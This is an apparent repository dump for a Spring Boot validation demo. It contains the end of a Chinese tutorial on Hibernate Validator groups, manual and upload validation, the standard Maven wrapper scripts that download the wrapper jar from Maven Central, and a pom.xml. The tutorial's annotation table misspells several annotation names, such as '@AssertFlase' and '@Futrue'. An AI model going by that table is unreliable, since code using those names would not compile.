   @Mobile(groups = {ValidMobile.class})\n    private String mobile;\n\n    @NotEmpty(message = \"电子邮箱不能为空\", groups = {ValidEmail.class})\n    @Email(message = \"电子邮箱格式不正确\", groups = {ValidEmail.class})\n    private String email;\n\n    private String password;\n\n    private String address;\n\n    @NotNull(message = \"年龄不能为空\")\n    @Min(value = 12, message = \"允许注册年龄最小为12岁\", groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    @Max(value = 24, message = \"允许年龄最大为24岁\",groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    private Integer age;\n\n    @NotEmpty(message = \"联系人不允许为空\",groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    @Size(min = 1, max = 3, message = \"联系人长度只允许1到3之间\",groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    private List<String> contacts;\n}\n```\n\n### 3.Controller方法上指名验证组别\n\n``` java\n    /**\n     * 手机号注册\n     *\n     * @param userModel\n     * @return\n     */\n    @PostMapping(\"/mobile-regist\")\n    public WrapperResult<Boolean> mobileRegit(@Validated(ValidMobile.class) @RequestBody UserModel userModel) {\n        return WrapperResult.success(true);\n    }\n```\n\n这时候进行如下请求：\n\nPOST http://127.0.0.1:8080/user/mobile-regist\n\n``` json\n{\n    \"mobile\":\"12666666666\",\n    \"password\":\"\",\n    \"address\":\"\",\n    \"age\": null,\n    \"contacts\":[\n\n    ]\n\n}\n```\n\n则会返回结果：\n\n``` json\n{\n    \"status\": 1,\n    \"data\": \"联系人长度只允许1到3之间;手机号格式错误;联系人不允许为空;\",\n    \"msg\": \"FAIL\",\n    \"success\": false\n}\n```\n\n该请求中并没有传递email和username字段，而且结果中也未校验出这两个字段，符合预期结果。\n\n## 六、手动校验\n\n此处的手动校验并非是使用if/else进行简单的手动校验，而是使用Validation自带的校验工具对使用了@NotNull等注解的实体对象进行属性校验。\n\n首先先获取Valiation对象：\n\n``` java\nprivate static final Validator validator = Validation.buildDefaultValidatorFactory().getValidator();\n```\n\n### 1. 全属性校验\n\n``` java\n/**\n  * 验证某个对象所有字段\n  *\n  * @param obj\n  * @param <T>\n  * @return\n  */\npublic static <T> ValidationResult validateEntity(T obj) {\n    ValidationResult result = new ValidationResult();\n    Set<ConstraintViolation<T>> set = validator.validate(obj, Default.class);\n    if (!CollectionUtils.isEmpty(set)) {\n        result.setHasErrors(true);\n        Map<String, String> errorMsg = new HashMap<>();\n        for (ConstraintViolation<T> cv : set) {\n            errorMsg.put(cv.getPropertyPath().toString(), cv.getMessage());\n        }\n        result.setErrorMsg(errorMsg);\n    }\n    return result;\n}\n```\n\n### 2.某个字段的单独校验\n\n``` java\n/**\n* 验证某个对象某个字段\n*\n* @param obj\n* @param propertyName\n* @param <T>\n* @return\n*/\npublic static <T> ValidationResult validateProperty(T obj, String propertyName) {\n    ValidationResult result = new ValidationResult();\n    Set<ConstraintViolation<T>> set = validator.validateProperty(obj, propertyName, Default.class);\n    if (!CollectionUtils.isEmpty(set)) {\n        result.setHasErrors(true);\n        Map<String, String> errorMsg = new HashMap<>();\n        for (ConstraintViolation<T> cv : set) {\n            errorMsg.put(propertyName, cv.getMessage());\n        }\n        result.setErrorMsg(errorMsg);\n    }\n    return result;\n}\n```\n\nValidationResult的定义如下：\n\n``` java\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@Accessors(chain = true)\npublic class ValidationResult {\n    private Boolean hasErrors;\n    private Map<String, String> errorMsg;\n}\n```\n\n## 七、文件上传校验\n\n### 1.tomcat容器下文件上传校验\n\n在springboot+tomcat架构下的文件上传校验，假如已经有了如下的配置：\n\n``` yaml\nspring:\n    servlet:\n    multipart:\n      max-file-size: 1MB\n      max-request-size: 1MB\n```\n\n这表示只允许上传小于1MB大小的文件，如果不指定异常处理器，默认会报前端400，在`ValidationAdvice`类中添加如下代码可以自定义返回结果：\n\n``` java\n    //文件上传文件大小超出限制\n    @ExceptionHandler(MaxUploadSizeExceededException.class)\n    @ResponseBody\n    public WrapperResult<Map<String,Object>> fileSizeException(MaxUploadSizeExceededException exception) {\n        log.error(\"文件太大，上传失败\",exception);\n        return WrapperResult.faild(\"只允许上传不大于\"+exception.getMaxUploadSize()+\"的文件\");\n    }\n```\n\n### 2.其它容器\n\n在Jetty容器中1中的方法可能会失效，未验证；在undertow容器中是一定会失效，已经验证。undertow容器毕竟和spring-boot没有完全打磨好，不建议现阶段使用。\n\n## 八、附录\n\n### 1.所有校验规则注解说明\n\n| 注解                     | 说明                                             |\n| ------------------------ | ------------------------------------------------ |\n| @Null                    | 被注解的元素必须为空                             |\n| @NotNull                 | 被注解的元素必须不为空                           |\n| @AssertTrue              | 被注解的元素必须为true                           |\n| @AssertFlase             | 被注解的元素必须为false                          |\n| @Min(value)              | 被注解的元素必须是数字，且必须大于指定的最小值   |\n| @Max(value)              | 被注解的元素必须是数字，且必须小于指定的最大值   |\n| @DecimalMin(value)       | 被注解的元素必须是数字，且必须大于指定的最小值   |\n| @DecaimalMax(value)      | 被注解的元素必须是数字，且必须小于指定的最大值   |\n| @Size(max=,min=)         | 被注解元素的大小必须在指定的范围内               |\n| @Digit(integer,fraction) | 被注解元素必须是数字，且其值必须在可接受的范围内 |\n| @Past                    | 被注解元素必须是一个过去的日期                   |\n| @Futrue                  | 被注解元素必须是一个将来的日期                   |\n| @Pattern(regex=,flag=)   | 被注解元素必须符合指定的正则表达式               |\n| @NotBlank                | 验证非空，且长度必须大于0                        |\n| @Email                   | 被注解的元素必须是电子邮件地址                   |\n| @Length(max=,min=)       | 被注解的字符串大小必须在指定的范围内             |\n| @NotEmpty                | 被注解的字符串必须非空                           |\n| @Range(max=,min=)        | 被注解的元素必须在指定范围内                     |\n\n### 2.校验规则注解例子\n\n``` java\n// 空和非空检查: @Null、@NotNull、@NotBlank、@NotEmpty\n@Null(message = \"验证是否为 null\")\nprivate Integer isNull;\n\n@NotNull(message = \"验证是否不为 null, 但无法查检长度为0的空字符串\")\nprivate Integer id;\n\n@NotBlank(message = \"检查字符串是不是为 null，以及去除空格后长度是否大于0\")\nprivate String name;\n          \n@NotEmpty(message = \"检查是否为 NULL 或者是 EMPTY\")\nprivate List<String> stringList;\n          \n// Boolean值检查: @AssertTrue、@AssertFalse\n@AssertTrue(message = \" 验证 Boolean参数是否为 true\")\nprivate Boolean isTrue;\n          \n@AssertFalse(message = \"验证 Boolean 参数是否为 false \")\nprivate Boolean isFalse;\n          \n// 长度检查: @Size、@Length\n@Size(min = 1, max = 2, message = \"验证（Array,Collection,Map,String）长度是否在给定范围内\")\nprivate List<Integer> integerList;\n      \n@Length(min = 8, max = 30, message = \"验证字符串长度是否在给定范围内\")\nprivate String address;\n      \n// 日期检查: @Future、@FutureOrPresent、@Past、@PastOrPresent\n@Future(message = \"验证日期是否在当前时间之后\")\nprivate Date futureDate;\n      \n@FutureOrPresent(message = \"验证日期是否为当前时间或之后\")\nprivate Date futureOrPresentDate;\n      \n@Past(message = \"验证日期是否在当前时间之前\")\nprivate Date pastDate;\n      \n@PastOrPresent(message = \"验证日期是否为当前时间或之前\")\nprivate Date pastOrPresentDate;\n      \n// 其它检查: @Email、@CreditCardNumber、@URL、@Pattern、\n@ScriptAssert、@UniqueElements\n@Email(message = \"校验是否为正确的邮箱格式\")\nprivate String email;\n      \n@CreditCardNumber(message = \"校验是否为正确的信用卡号\")\nprivate String creditCardNumber;\n      \n@URL(protocol = \"http\", host = \"127.0.0.1\", port = 8080, message= \"校验是否为正确的URL地址\")\nprivate String url;\n      \n@Pattern(regexp = \"^1[3|4|5|7|8][0-9]{9}$\", message = \"正则校验是否为正确的手机号\")\nprivate String phone;\n         \n// 对关联对象元素进行递归校验检查\n@Valid\n@UniqueElements(message = \"校验集合中的元素是否唯一\")\nprivate List<CalendarEvent> calendarEvent;\n\n@Data\n@ScriptAssert(lang = \"javascript\", script =\"_this.startDate.before(_this.endDate)\",message = \"通过脚本表达式校验参数\")\nprivate class CalendarEvent {\n  private Date startDate;\n  private Date endDate;\n}\n\n// 数值检查: @Min、@Max、@Range、@DecimalMin、@DecimalMax、@Digits\n@Min(value = 0, message = \"验证数值是否大于等于指定值\")\n@Max(value = 100, message = \"验证数值是否小于等于指定值\")\n@Range(min = 0, max = 100, message = \"验证数值是否在指定值区间范围内\")\nprivate Integer score;\n\n@DecimalMin(value = \"10.01\", inclusive = false, message = \"验证数值是否大于等于指定值\")\n@DecimalMax(value = \"199.99\", message = \"验证数值是否小于等于指定值\")\n@Digits(integer = 3, fraction = 2, message = \"限制整数位最多为3，小数位最多为2\")\nprivate BigDecimal money;\n```\n\n## 九、源代码地址\n\nhttps://gitee.com/kdyzm/validation-spring-boot-demo\n\n我的博客地址：https://blog.kdyzm.cn 欢迎留言指教~\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Mingw, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\n##########################################################################################\n# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n# This allows using the maven wrapper in projects that prohibit checking in binary data.\n##########################################################################################\nif [ -r \"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\" ]; then\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Found .mvn/wrapper/maven-wrapper.jar\"\n    fi\nelse\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ...\"\n    fi\n    if [ -n \"$MVNW_REPOURL\" ]; then\n      jarUrl=\"$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    else\n      jarUrl=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    fi\n    while IFS=\"=\" read key value; do\n      case \"$key\" in (wrapperUrl) jarUrl=\"$value\"; break ;;\n      esac\n    done < \"$BASE_DIR/.mvn/wrapper/maven-wrapper.properties\"\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Downloading from: $jarUrl\"\n    fi\n    wrapperJarPath=\"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\"\n    if $cygwin; then\n      wrapperJarPath=`cygpath --path --windows \"$wrapperJarPath\"`\n    fi\n\n    if command -v wget > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found wget ... using wget\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            wget \"$jarUrl\" -O \"$wrapperJarPath\"\n        else\n            wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD \"$jarUrl\" -O \"$wrapperJarPath\"\n        fi\n    elif command -v curl > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found curl ... using curl\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            curl -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        else\n            curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        fi\n\n    else\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Falling back to using Java to download\"\n        fi\n        javaClass=\"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java\"\n        # For Cygwin, switch paths to Windows format before running javac\n        if $cygwin; then\n          javaClass=`cygpath --path --windows \"$javaClass\"`\n        fi\n        if [ -e \"$javaClass\" ]; then\n            if [ ! -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Compiling MavenWrapperDownloader.java ...\"\n                fi\n                # Compiling the Java class\n                (\"$JAVA_HOME/bin/javac\" \"$javaClass\")\n            fi\n            if [ -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                # Running the downloader\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Running MavenWrapperDownloader.java ...\"\n                fi\n                (\"$JAVA_HOME/bin/java\" -cp .mvn/wrapper MavenWrapperDownloader \"$MAVEN_PROJECTBASEDIR\")\n            fi\n        fi\n    fi\nfi\n##########################################################################################\n# End of extension\n##########################################################################################\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\nif [ \"$MVNW_VERBOSE\" = true ]; then\n  echo $MAVEN_PROJECTBASEDIR\nfi\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\n# Provide a \"standardized\" way to retrieve the CLI args that will\n# work with both Windows and non-Windows executions.\nMAVEN_CMD_LINE_ARGS=\"$MAVEN_CONFIG $@\"\nexport MAVEN_CMD_LINE_ARGS\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    https://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM set title of command window\ntitle %0\n@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nset DOWNLOAD_URL=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n\nFOR /F \"tokens=1,2 delims==\" %%A IN (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties\") DO (\n    IF \"%%A\"==\"wrapperUrl\" SET DOWNLOAD_URL=%%B\n)\n\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\nif exist %WRAPPER_JAR% (\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Found %WRAPPER_JAR%\n    )\n) else (\n    if not \"%MVNW_REPOURL%\" == \"\" (\n        SET DOWNLOAD_URL=\"%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    )\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Couldn't find %WRAPPER_JAR%, downloading it ...\n        echo Downloading from: %DOWNLOAD_URL%\n    )\n\n    powershell -Command \"&{\"^\n\t\t\"$webclient = new-object System.Net.WebClient;\"^\n\t\t\"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {\"^\n\t\t\"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');\"^\n\t\t\"}\"^\n\t\t\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')\"^\n\t\t\"}\"\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Finished downloading %WRAPPER_JAR%\n    )\n)\n@REM End of extension\n\n@REM Provide a \"standardized\" way to retrieve the CLI args that will\n@REM work with both Windows and non-Windows executions.\nset MAVEN_CMD_LINE_ARGS=%*\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.4.1</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>com.kdyzm.validation.spring.boot.demo</groupId>\n    <artifactId>validation-spring-boot-demo</artifactId>\n    <version>0.0.1-SNAPSHOT</version>\n    <name>validation-spring-boot-demo</name>\n    <description>Demo project for Spring Boot</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.16</version>\n        </dependency>\n        <dependency>\n            <groupId>org.hibernate.validator</groupId>\n            <artifactId>hibernate-validator</artifactId>\n            <version>6.1.6.Final</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
